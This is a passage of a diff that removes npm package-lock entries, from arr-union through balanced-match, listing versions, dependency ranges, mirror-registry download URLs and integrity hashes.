-      "resolved": "https://registry.npm.taobao.org/arr-union/download/arr-union-3.1.0.tgz",
-      "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ="
-    },
-    "array-flatten": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npm.taobao.org/array-flatten/download/array-flatten-2.1.2.tgz",
-      "integrity": "sha1-JO+AoowaiTYX4hSbDG0NeIKTsJk="
-    },
-    "array-includes": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npm.taobao.org/array-includes/download/array-includes-3.1.3.tgz",
-      "integrity": "sha1-x/YZs4KtKvr1Mmzd/cCvxhr3aQo=",
-      "requires": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.18.0-next.2",
-        "get-intrinsic": "^1.1.1",
-        "is-string": "^1.0.5"
-      }
-    },
-    "array-union": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/array-union/download/array-union-2.1.0.tgz",
-      "integrity": "sha1-t5hCCtvrHego2ErNii4j0+/oXo0="
-    },
-    "array-uniq": {
-      "version": "1.0.3",
-      "resolved": "https://registry.nlark.com/array-uniq/download/array-uniq-1.0.3.tgz",
-      "integrity": "sha1-r2rId6Jcx/dOBYiUdThY39sk/bY="
-    },
-    "array-unique": {
-      "version": "0.3.2",
-      "resolved": "https://registry.nlark.com/array-unique/download/array-unique-0.3.2.tgz",
-      "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg="
-    },
-    "array.prototype.flat": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npm.taobao.org/array.prototype.flat/download/array.prototype.flat-1.2.4.tgz",
-      "integrity": "sha1-bvY4tDMSvUAbTGGZ/ex+LcnpoSM=",
-      "requires": {
-        "call-bind": "^1.0.0",
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.18.0-next.1"
-      }
-    },
-    "array.prototype.flatmap": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npm.taobao.org/array.prototype.flatmap/download/array.prototype.flatmap-1.2.4.tgz",
-      "integrity": "sha1-lM/UfMFVbsB0fZf3x3OMWBIgBMk=",
-      "requires": {
-        "call-bind": "^1.0.0",
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.18.0-next.1",
-        "function-bind": "^1.1.1"
-      }
-    },
-    "arrify": {
-      "version": "2.0.1",
-      "resolved": "https://registry.nlark.com/arrify/download/arrify-2.0.1.tgz",
-      "integrity": "sha1-yWVekzHgq81YjSp8rX6ZVvZnAfo="
-    },
-    "asap": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npm.taobao.org/asap/download/asap-2.0.6.tgz",
-      "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY="
-    },
-    "asn1.js": {
-      "version": "5.4.1",
-      "resolved": "https://registry.npm.taobao.org/asn1.js/download/asn1.js-5.4.1.tgz",
-      "integrity": "sha1-EamAuE67kXgc41sP3C7ilON4Pwc=",
-      "requires": {
-        "bn.js": "^4.0.0",
-        "inherits": "^2.0.1",
-        "minimalistic-assert": "^1.0.0",
-        "safer-buffer": "^2.1.0"
-      },
-      "dependencies": {
-        "bn.js": {
-          "version": "4.12.0",
-          "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz",
-          "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og="
-        }
-      }
-    },
-    "assert": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npm.taobao.org/assert/download/assert-1.5.0.tgz",
-      "integrity": "sha1-VcEJqvbgrv2z3EtxJAxwv1dLGOs=",
-      "requires": {
-        "object-assign": "^4.1.1",
-        "util": "0.10.3"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.1.tgz",
-          "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE="
-        },
-        "util": {
-          "version": "0.10.3",
-          "resolved": "https://registry.nlark.com/util/download/util-0.10.3.tgz",
-          "integrity": "sha1-evsa/lCAUkZInj23/g7TeTNqwPk=",
-          "requires": {
-            "inherits": "2.0.1"
-          }
-        }
-      }
-    },
-    "assign-symbols": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/assign-symbols/download/assign-symbols-1.0.0.tgz",
-      "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c="
-    },
-    "ast-types-flow": {
-      "version": "0.0.7",
-      "resolved": "https://registry.npm.taobao.org/ast-types-flow/download/ast-types-flow-0.0.7.tgz",
-      "integrity": "sha1-9wtzXGvKGlycItmCw+Oef+ujva0="
-    },
-    "astral-regex": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/astral-regex/download/astral-regex-2.0.0.tgz",
-      "integrity": "sha1-SDFDxWeu7UeFdZwIZXhtx319LjE="
-    },
-    "async": {
-      "version": "2.6.3",
-      "resolved": "https://registry.npm.taobao.org/async/download/async-2.6.3.tgz",
-      "integrity": "sha1-1yYl4jRKNlbjo61Pp0n6gymdgv8=",
-      "requires": {
-        "lodash": "^4.17.14"
-      }
-    },
-    "async-each": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/async-each/download/async-each-1.0.3.tgz",
-      "integrity": "sha1-tyfb+H12UWAvBvTUrDh/R9kbDL8="
-    },
-    "async-limiter": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/async-limiter/download/async-limiter-1.0.1.tgz",
-      "integrity": "sha1-3TeelPDbgxCwgpH51kwyCXZmF/0="
-    },
-    "asynckit": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npm.taobao.org/asynckit/download/asynckit-0.4.0.tgz",
-      "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k="
-    },
-    "at-least-node": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/at-least-node/download/at-least-node-1.0.0.tgz",
-      "integrity": "sha1-YCzUtG6EStTv/JKoARo8RuAjjcI="
-    },
-    "atob": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npm.taobao.org/atob/download/atob-2.1.2.tgz",
-      "integrity": "sha1-bZUX654DDSQ2ZmZR6GvZ9vE1M8k="
-    },
-    "autoprefixer": {
-      "version": "9.8.6",
-      "resolved": "https://registry.nlark.com/autoprefixer/download/autoprefixer-9.8.6.tgz?cache=0&sync_timestamp=1622039559998&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fautoprefixer%2Fdownload%2Fautoprefixer-9.8.6.tgz",
-      "integrity": "sha1-O3NZTKG/kmYyDFrPFYjXTep0IQ8=",
-      "requires": {
-        "browserslist": "^4.12.0",
-        "caniuse-lite": "^1.0.30001109",
-        "colorette": "^1.2.1",
-        "normalize-range": "^0.1.2",
-        "num2fraction": "^1.2.2",
-        "postcss": "^7.0.32",
-        "postcss-value-parser": "^4.1.0"
-      }
-    },
-    "axe-core": {
-      "version": "4.2.2",
-      "resolved": "https://registry.nlark.com/axe-core/download/axe-core-4.2.2.tgz",
-      "integrity": "sha1-DJh9gsi4K0ubepRfG17w2P7Vhu0="
-    },
-    "axios": {
-      "version": "0.21.1",
-      "resolved": "https://registry.npm.taobao.org/axios/download/axios-0.21.1.tgz",
-      "integrity": "sha1-IlY0gZYvTWvemnbVFu8OXTwJsrg=",
-      "requires": {
-        "follow-redirects": "^1.10.0"
-      }
-    },
-    "axobject-query": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/axobject-query/download/axobject-query-2.2.0.tgz",
-      "integrity": "sha1-lD1H4QwLcEqkInXiDt83ImSJib4="
-    },
-    "babel-eslint": {
-      "version": "10.1.0",
-      "resolved": "https://registry.npm.taobao.org/babel-eslint/download/babel-eslint-10.1.0.tgz?cache=0&sync_timestamp=1611946213770&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbabel-eslint%2Fdownload%2Fbabel-eslint-10.1.0.tgz",
-      "integrity": "sha1-aWjlaKkQt4+zd5zdi2rC9HmUMjI=",
-      "requires": {
-        "@babel/code-frame": "^7.0.0",
-        "@babel/parser": "^7.7.0",
-        "@babel/traverse": "^7.7.0",
-        "@babel/types": "^7.7.0",
-        "eslint-visitor-keys": "^1.0.0",
-        "resolve": "^1.12.0"
-      },
-      "dependencies": {
-        "eslint-visitor-keys": {
-          "version": "1.3.0",
-          "resolved": "https://registry.nlark.com/eslint-visitor-keys/download/eslint-visitor-keys-1.3.0.tgz",
-          "integrity": "sha1-MOvR73wv3/AcOk8VEESvJfqwUj4="
-        }
-      }
-    },
-    "babel-extract-comments": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/babel-extract-comments/download/babel-extract-comments-1.0.0.tgz",
-      "integrity": "sha1-Cirt+BQX7TkbheGLRhTmk6A1GiE=",
-      "requires": {
-        "babylon": "^6.18.0"
-      }
-    },
-    "babel-jest": {
-      "version": "26.6.3",
-      "resolved": "https://registry.nlark.com/babel-jest/download/babel-jest-26.6.3.tgz",
-      "integrity": "sha1-2H0lywA3V3oMifguV1XF0pPAEFY=",
-      "requires": {
-        "@jest/transform": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "@types/babel__core": "^7.1.7",
-        "babel-plugin-istanbul": "^6.0.0",
-        "babel-preset-jest": "^26.6.2",
-        "chalk": "^4.0.0",
-        "graceful-fs": "^4.2.4",
-        "slash": "^3.0.0"
-      }
-    },
-    "babel-loader": {
-      "version": "8.1.0",
-      "resolved": "https://registry.npm.taobao.org/babel-loader/download/babel-loader-8.1.0.tgz?cache=0&sync_timestamp=1615270018746&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbabel-loader%2Fdownload%2Fbabel-loader-8.1.0.tgz",
-      "integrity": "sha1-xhHVESvVIJq+i5+oTD5NolJ18cM=",
-      "requires": {
-        "find-cache-dir": "^2.1.0",
-        "loader-utils": "^1.4.0",
-        "mkdirp": "^0.5.3",
-        "pify": "^4.0.1",
-        "schema-utils": "^2.6.5"
-      },
-      "dependencies": {
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/json5/download/json5-1.0.1.tgz",
-          "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        },
-        "loader-utils": {
-          "version": "1.4.0",
-          "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-1.4.0.tgz",
-          "integrity": "sha1-xXm140yzSxp07cbB+za/o3HVphM=",
-          "requires": {
-            "big.js": "^5.2.2",
-            "emojis-list": "^3.0.0",
-            "json5": "^1.0.1"
-          }
-        }
-      }
-    },
-    "babel-plugin-dynamic-import-node": {
-      "version": "2.3.3",
-      "resolved": "https://registry.npm.taobao.org/babel-plugin-dynamic-import-node/download/babel-plugin-dynamic-import-node-2.3.3.tgz",
-      "integrity": "sha1-hP2hnJduxcbe/vV/lCez3vZuF6M=",
-      "requires": {
-        "object.assign": "^4.1.0"
-      }
-    },
-    "babel-plugin-istanbul": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npm.taobao.org/babel-plugin-istanbul/download/babel-plugin-istanbul-6.0.0.tgz",
-      "integrity": "sha1-4VnM3Jr5XgtXDHW0Vzt8NNZx12U=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.0.0",
-        "@istanbuljs/load-nyc-config": "^1.0.0",
-        "@istanbuljs/schema": "^0.1.2",
-        "istanbul-lib-instrument": "^4.0.0",
-        "test-exclude": "^6.0.0"
-      }
-    },
-    "babel-plugin-jest-hoist": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/babel-plugin-jest-hoist/download/babel-plugin-jest-hoist-26.6.2.tgz?cache=0&sync_timestamp=1621937209898&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-jest-hoist%2Fdownload%2Fbabel-plugin-jest-hoist-26.6.2.tgz",
-      "integrity": "sha1-gYW9AwNI0lTG192XQ1Xmoosh5i0=",
-      "requires": {
-        "@babel/template": "^7.3.3",
-        "@babel/types": "^7.3.3",
-        "@types/babel__core": "^7.0.0",
-        "@types/babel__traverse": "^7.0.6"
-      }
-    },
-    "babel-plugin-macros": {
-      "version": "2.8.0",
-      "resolved": "https://registry.nlark.com/babel-plugin-macros/download/babel-plugin-macros-2.8.0.tgz?cache=0&sync_timestamp=1620234245298&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-macros%2Fdownload%2Fbabel-plugin-macros-2.8.0.tgz",
-      "integrity": "sha1-D5WKfMZVax5lNERl2ZERoeXhATg=",
-      "requires": {
-        "@babel/runtime": "^7.7.2",
-        "cosmiconfig": "^6.0.0",
-        "resolve": "^1.12.0"
-      },
-      "dependencies": {
-        "cosmiconfig": {
-          "version": "6.0.0",
-          "resolved": "https://registry.npm.taobao.org/cosmiconfig/download/cosmiconfig-6.0.0.tgz",
-          "integrity": "sha1-2k/uhTxS9rHmk19BwaL8UL1KmYI=",
-          "requires": {
-            "@types/parse-json": "^4.0.0",
-            "import-fresh": "^3.1.0",
-            "parse-json": "^5.0.0",
-            "path-type": "^4.0.0",
-            "yaml": "^1.7.2"
-          }
-        }
-      }
-    },
-    "babel-plugin-named-asset-import": {
-      "version": "0.3.7",
-      "resolved": "https://registry.npm.taobao.org/babel-plugin-named-asset-import/download/babel-plugin-named-asset-import-0.3.7.tgz",
-      "integrity": "sha1-FWzVXT8SKKV2V3Q0CTevyDmAZ90="
-    },
-    "babel-plugin-polyfill-corejs2": {
-      "version": "0.2.2",
-      "resolved": "https://registry.nlark.com/babel-plugin-polyfill-corejs2/download/babel-plugin-polyfill-corejs2-0.2.2.tgz?cache=0&sync_timestamp=1622023848590&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-polyfill-corejs2%2Fdownload%2Fbabel-plugin-polyfill-corejs2-0.2.2.tgz",
-      "integrity": "sha1-6RJHheb9lPlLYYp5VOVpMFO/Uyc=",
-      "requires": {
-        "@babel/compat-data": "^7.13.11",
-        "@babel/helper-define-polyfill-provider": "^0.2.2",
-        "semver": "^6.1.1"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "6.3.0",
-          "resolved": "https://registry.nlark.com/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz",
-          "integrity": "sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0="
-        }
-      }
-    },
-    "babel-plugin-polyfill-corejs3": {
-      "version": "0.2.2",
-      "resolved": "https://registry.nlark.com/babel-plugin-polyfill-corejs3/download/babel-plugin-polyfill-corejs3-0.2.2.tgz",
-      "integrity": "sha1-dCShaC7kS67IFzJ3ELGwlOX49/U=",
-      "requires": {
-        "@babel/helper-define-polyfill-provider": "^0.2.2",
-        "core-js-compat": "^3.9.1"
-      }
-    },
-    "babel-plugin-polyfill-regenerator": {
-      "version": "0.2.2",
-      "resolved": "https://registry.nlark.com/babel-plugin-polyfill-regenerator/download/babel-plugin-polyfill-regenerator-0.2.2.tgz?cache=0&sync_timestamp=1622023850554&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbabel-plugin-polyfill-regenerator%2Fdownload%2Fbabel-plugin-polyfill-regenerator-0.2.2.tgz",
-      "integrity": "sha1-sxDI1kKsraNIwfo7Pmzg6FG+4Hc=",
-      "requires": {
-        "@babel/helper-define-polyfill-provider": "^0.2.2"
-      }
-    },
-    "babel-plugin-syntax-object-rest-spread": {
-      "version": "6.13.0",
-      "resolved": "https://registry.npm.taobao.org/babel-plugin-syntax-object-rest-spread/download/babel-plugin-syntax-object-rest-spread-6.13.0.tgz",
-      "integrity": "sha1-/WU28rzhODb/o6VFjEkDpZe7O/U="
-    },
-    "babel-plugin-transform-object-rest-spread": {
-      "version": "6.26.0",
-      "resolved": "https://registry.npm.taobao.org/babel-plugin-transform-object-rest-spread/download/babel-plugin-transform-object-rest-spread-6.26.0.tgz",
-      "integrity": "sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY=",
-      "requires": {
-        "babel-plugin-syntax-object-rest-spread": "^6.8.0",
-        "babel-runtime": "^6.26.0"
-      }
-    },
-    "babel-plugin-transform-react-remove-prop-types": {
-      "version": "0.4.24",
-      "resolved": "https://registry.npm.taobao.org/babel-plugin-transform-react-remove-prop-types/download/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz",
-      "integrity": "sha1-8u2vm0xqX75cHWeL+1MQeMFVXzo="
-    },
-    "babel-preset-current-node-syntax": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/babel-preset-current-node-syntax/download/babel-preset-current-node-syntax-1.0.1.tgz",
-      "integrity": "sha1-tDmSObibKgEfndvj5PQB/EDP9zs=",
-      "requires": {
-        "@babel/plugin-syntax-async-generators": "^7.8.4",
-        "@babel/plugin-syntax-bigint": "^7.8.3",
-        "@babel/plugin-syntax-class-properties": "^7.8.3",
-        "@babel/plugin-syntax-import-meta": "^7.8.3",
-        "@babel/plugin-syntax-json-strings": "^7.8.3",
-        "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3",
-        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
-        "@babel/plugin-syntax-numeric-separator": "^7.8.3",
-        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
-        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
-        "@babel/plugin-syntax-optional-chaining": "^7.8.3",
-        "@babel/plugin-syntax-top-level-await": "^7.8.3"
-      }
-    },
-    "babel-preset-jest": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/babel-preset-jest/download/babel-preset-jest-26.6.2.tgz",
-      "integrity": "sha1-dHhysRcd8DIlJCZYaIHWLTF5j+4=",
-      "requires": {
-        "babel-plugin-jest-hoist": "^26.6.2",
-        "babel-preset-current-node-syntax": "^1.0.0"
-      }
-    },
-    "babel-preset-react-app": {
-      "version": "10.0.0",
-      "resolved": "https://registry.npm.taobao.org/babel-preset-react-app/download/babel-preset-react-app-10.0.0.tgz?cache=0&sync_timestamp=1603462277156&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbabel-preset-react-app%2Fdownload%2Fbabel-preset-react-app-10.0.0.tgz",
-      "integrity": "sha1-aJtg7ccF+KcM6H9Hqw5WCjF9cEU=",
-      "requires": {
-        "@babel/core": "7.12.3",
-        "@babel/plugin-proposal-class-properties": "7.12.1",
-        "@babel/plugin-proposal-decorators": "7.12.1",
-        "@babel/plugin-proposal-nullish-coalescing-operator": "7.12.1",
-        "@babel/plugin-proposal-numeric-separator": "7.12.1",
-        "@babel/plugin-proposal-optional-chaining": "7.12.1",
-        "@babel/plugin-transform-flow-strip-types": "7.12.1",
-        "@babel/plugin-transform-react-display-name": "7.12.1",
-        "@babel/plugin-transform-runtime": "7.12.1",
-        "@babel/preset-env": "7.12.1",
-        "@babel/preset-react": "7.12.1",
-        "@babel/preset-typescript": "7.12.1",
-        "@babel/runtime": "7.12.1",
-        "babel-plugin-macros": "2.8.0",
-        "babel-plugin-transform-react-remove-prop-types": "0.4.24"
-      },
-      "dependencies": {
-        "@babel/plugin-proposal-class-properties": {
-          "version": "7.12.1",
-          "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-class-properties/download/@babel/plugin-proposal-class-properties-7.12.1.tgz?cache=0&sync_timestamp=1617731968640&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-class-properties%2Fdownload%2F%40babel%2Fplugin-proposal-class-properties-7.12.1.tgz",
-          "integrity": "sha1-oIL/VB8qKaSCEGW4rdk0bAwW5d4=",
-          "requires": {
-            "@babel/helper-create-class-features-plugin": "^7.12.1",
-            "@babel/helper-plugin-utils": "^7.10.4"
-          }
-        },
-        "@babel/plugin-proposal-nullish-coalescing-operator": {
-          "version": "7.12.1",
-          "resolved": "https://registry.nlark.com/@babel/plugin-proposal-nullish-coalescing-operator/download/@babel/plugin-proposal-nullish-coalescing-operator-7.12.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-nullish-coalescing-operator%2Fdownload%2F%40babel%2Fplugin-proposal-nullish-coalescing-operator-7.12.1.tgz",
-          "integrity": "sha1-PtT/8xwBXn8/FGfxkNvlRc17BGw=",
-          "requires": {
-            "@babel/helper-plugin-utils": "^7.10.4",
-            "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0"
-          }
-        },
-        "@babel/plugin-proposal-numeric-separator": {
-          "version": "7.12.1",
-          "resolved": "https://registry.nlark.com/@babel/plugin-proposal-numeric-separator/download/@babel/plugin-proposal-numeric-separator-7.12.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-numeric-separator%2Fdownload%2F%40babel%2Fplugin-proposal-numeric-separator-7.12.1.tgz",
-          "integrity": "sha1-DixndMTOSL5BIRm01pOsd392haY=",
-          "requires": {
-            "@babel/helper-plugin-utils": "^7.10.4",
-            "@babel/plugin-syntax-numeric-separator": "^7.10.4"
-          }
-        },
-        "@babel/plugin-proposal-optional-chaining": {
-          "version": "7.12.1",
-          "resolved": "https://registry.nlark.com/@babel/plugin-proposal-optional-chaining/download/@babel/plugin-proposal-optional-chaining-7.12.1.tgz?cache=0&sync_timestamp=1620840026503&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-optional-chaining%2Fdownload%2F%40babel%2Fplugin-proposal-optional-chaining-7.12.1.tgz",
-          "integrity": "sha1-zOEiID/IoyeUKW/Dd8be2vQ2N5c=",
-          "requires": {
-            "@babel/helper-plugin-utils": "^7.10.4",
-            "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1",
-            "@babel/plugin-syntax-optional-chaining": "^7.8.0"
-          }
-        },
-        "@babel/plugin-transform-react-display-name": {
-          "version": "7.12.1",
-          "resolved": "https://registry.nlark.com/@babel/plugin-transform-react-display-name/download/@babel/plugin-transform-react-display-name-7.12.1.tgz?cache=0&sync_timestamp=1620839456013&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-display-name%2Fdownload%2F%40babel%2Fplugin-transform-react-display-name-7.12.1.tgz",
-          "integrity": "sha1-HLzQw7HWZIxVN0oi/JtrflNBwA0=",
-          "requires": {
-            "@babel/helper-plugin-utils": "^7.10.4"
-          }
-        },
-        "@babel/preset-env": {
-          "version": "7.12.1",
-          "resolved": "https://registry.nlark.com/@babel/preset-env/download/@babel/preset-env-7.12.1.tgz",
-          "integrity": "sha1-nH5cqCoZ78hlOEu0mJFI0u5desI=",
-          "requires": {
-            "@babel/compat-data": "^7.12.1",
-            "@babel/helper-compilation-targets": "^7.12.1",
-            "@babel/helper-module-imports": "^7.12.1",
-            "@babel/helper-plugin-utils": "^7.10.4",
-            "@babel/helper-validator-option": "^7.12.1",
-            "@babel/plugin-proposal-async-generator-functions": "^7.12.1",
-            "@babel/plugin-proposal-class-properties": "^7.12.1",
-            "@babel/plugin-proposal-dynamic-import": "^7.12.1",
-            "@babel/plugin-proposal-export-namespace-from": "^7.12.1",
-            "@babel/plugin-proposal-json-strings": "^7.12.1",
-            "@babel/plugin-proposal-logical-assignment-operators": "^7.12.1",
-            "@babel/plugin-proposal-nullish-coalescing-operator": "^7.12.1",
-            "@babel/plugin-proposal-numeric-separator": "^7.12.1",
-            "@babel/plugin-proposal-object-rest-spread": "^7.12.1",
-            "@babel/plugin-proposal-optional-catch-binding": "^7.12.1",
-            "@babel/plugin-proposal-optional-chaining": "^7.12.1",
-            "@babel/plugin-proposal-private-methods": "^7.12.1",
-            "@babel/plugin-proposal-unicode-property-regex": "^7.12.1",
-            "@babel/plugin-syntax-async-generators": "^7.8.0",
-            "@babel/plugin-syntax-class-properties": "^7.12.1",
-            "@babel/plugin-syntax-dynamic-import": "^7.8.0",
-            "@babel/plugin-syntax-export-namespace-from": "^7.8.3",
-            "@babel/plugin-syntax-json-strings": "^7.8.0",
-            "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
-            "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0",
-            "@babel/plugin-syntax-numeric-separator": "^7.10.4",
-            "@babel/plugin-syntax-object-rest-spread": "^7.8.0",
-            "@babel/plugin-syntax-optional-catch-binding": "^7.8.0",
-            "@babel/plugin-syntax-optional-chaining": "^7.8.0",
-            "@babel/plugin-syntax-top-level-await": "^7.12.1",
-            "@babel/plugin-transform-arrow-functions": "^7.12.1",
-            "@babel/plugin-transform-async-to-generator": "^7.12.1",
-            "@babel/plugin-transform-block-scoped-functions": "^7.12.1",
-            "@babel/plugin-transform-block-scoping": "^7.12.1",
-            "@babel/plugin-transform-classes": "^7.12.1",
-            "@babel/plugin-transform-computed-properties": "^7.12.1",
-            "@babel/plugin-transform-destructuring": "^7.12.1",
-            "@babel/plugin-transform-dotall-regex": "^7.12.1",
-            "@babel/plugin-transform-duplicate-keys": "^7.12.1",
-            "@babel/plugin-transform-exponentiation-operator": "^7.12.1",
-            "@babel/plugin-transform-for-of": "^7.12.1",
-            "@babel/plugin-transform-function-name": "^7.12.1",
-            "@babel/plugin-transform-literals": "^7.12.1",
-            "@babel/plugin-transform-member-expression-literals": "^7.12.1",
-            "@babel/plugin-transform-modules-amd": "^7.12.1",
-            "@babel/plugin-transform-modules-commonjs": "^7.12.1",
-            "@babel/plugin-transform-modules-systemjs": "^7.12.1",
-            "@babel/plugin-transform-modules-umd": "^7.12.1",
-            "@babel/plugin-transform-named-capturing-groups-regex": "^7.12.1",
-            "@babel/plugin-transform-new-target": "^7.12.1",
-            "@babel/plugin-transform-object-super": "^7.12.1",
-            "@babel/plugin-transform-parameters": "^7.12.1",
-            "@babel/plugin-transform-property-literals": "^7.12.1",
-            "@babel/plugin-transform-regenerator": "^7.12.1",
-            "@babel/plugin-transform-reserved-words": "^7.12.1",
-            "@babel/plugin-transform-shorthand-properties": "^7.12.1",
-            "@babel/plugin-transform-spread": "^7.12.1",
-            "@babel/plugin-transform-sticky-regex": "^7.12.1",
-            "@babel/plugin-transform-template-literals": "^7.12.1",
-            "@babel/plugin-transform-typeof-symbol": "^7.12.1",
-            "@babel/plugin-transform-unicode-escapes": "^7.12.1",
-            "@babel/plugin-transform-unicode-regex": "^7.12.1",
-            "@babel/preset-modules": "^0.1.3",
-            "@babel/types": "^7.12.1",
-            "core-js-compat": "^3.6.2",
-            "semver": "^5.5.0"
-          }
-        },
-        "@babel/preset-react": {
-          "version": "7.12.1",
-          "resolved": "https://registry.npm.taobao.org/@babel/preset-react/download/@babel/preset-react-7.12.1.tgz?cache=0&sync_timestamp=1616801331588&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fpreset-react%2Fdownload%2F%40babel%2Fpreset-react-7.12.1.tgz",
-          "integrity": "sha1-fwIrE/VbbdgvAPFtHFma5imFNYw=",
-          "requires": {
-            "@babel/helper-plugin-utils": "^7.10.4",
-            "@babel/plugin-transform-react-display-name": "^7.12.1",
-            "@babel/plugin-transform-react-jsx": "^7.12.1",
-            "@babel/plugin-transform-react-jsx-development": "^7.12.1",
-            "@babel/plugin-transform-react-jsx-self": "^7.12.1",
-            "@babel/plugin-transform-react-jsx-source": "^7.12.1",
-            "@babel/plugin-transform-react-pure-annotations": "^7.12.1"
-          }
-        },
-        "@babel/runtime": {
-          "version": "7.12.1",
-          "resolved": "https://registry.nlark.com/@babel/runtime/download/@babel/runtime-7.12.1.tgz?cache=0&sync_timestamp=1619727528467&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fruntime%2Fdownload%2F%40babel%2Fruntime-7.12.1.tgz",
-          "integrity": "sha1-tBFqa2cR0BCy2tO3tuQ78bmVR0A=",
-          "requires": {
-            "regenerator-runtime": "^0.13.4"
-          }
-        },
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.nlark.com/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz",
-          "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc="
-        }
-      }
-    },
-    "babel-runtime": {
-      "version": "6.26.0",
-      "resolved": "https://registry.nlark.com/babel-runtime/download/babel-runtime-6.26.0.tgz",
-      "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
-      "requires": {
-        "core-js": "^2.4.0",
-        "regenerator-runtime": "^0.11.0"
-      },
-      "dependencies": {
-        "core-js": {
-          "version": "2.6.12",
-          "resolved": "https://registry.nlark.com/core-js/download/core-js-2.6.12.tgz?cache=0&sync_timestamp=1622879483099&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcore-js%2Fdownload%2Fcore-js-2.6.12.tgz",
-          "integrity": "sha1-2TM9+nsGXjR8xWgiGdb2kIWcwuw="
-        },
-        "regenerator-runtime": {
-          "version": "0.11.1",
-          "resolved": "https://registry.npm.taobao.org/regenerator-runtime/download/regenerator-runtime-0.11.1.tgz",
-          "integrity": "sha1-vgWtf5v30i4Fb5cmzuUBf78Z4uk="
-        }
-      }
-    },
-    "babylon": {
-      "version": "6.18.0",
-      "resolved": "https://registry.npm.taobao.org/babylon/download/babylon-6.18.0.tgz",
-      "integrity": "sha1-ry87iPpvXB5MY00aD46sT1WzleM="
-    },
-    "balanced-match": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/balanced-match/download/balanced-match-1.0.2.tgz?cache=0&sync_timestamp=1617714233441&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbalanced-match%2Fdownload%2Fbalanced-match-1.0.2.tgz",
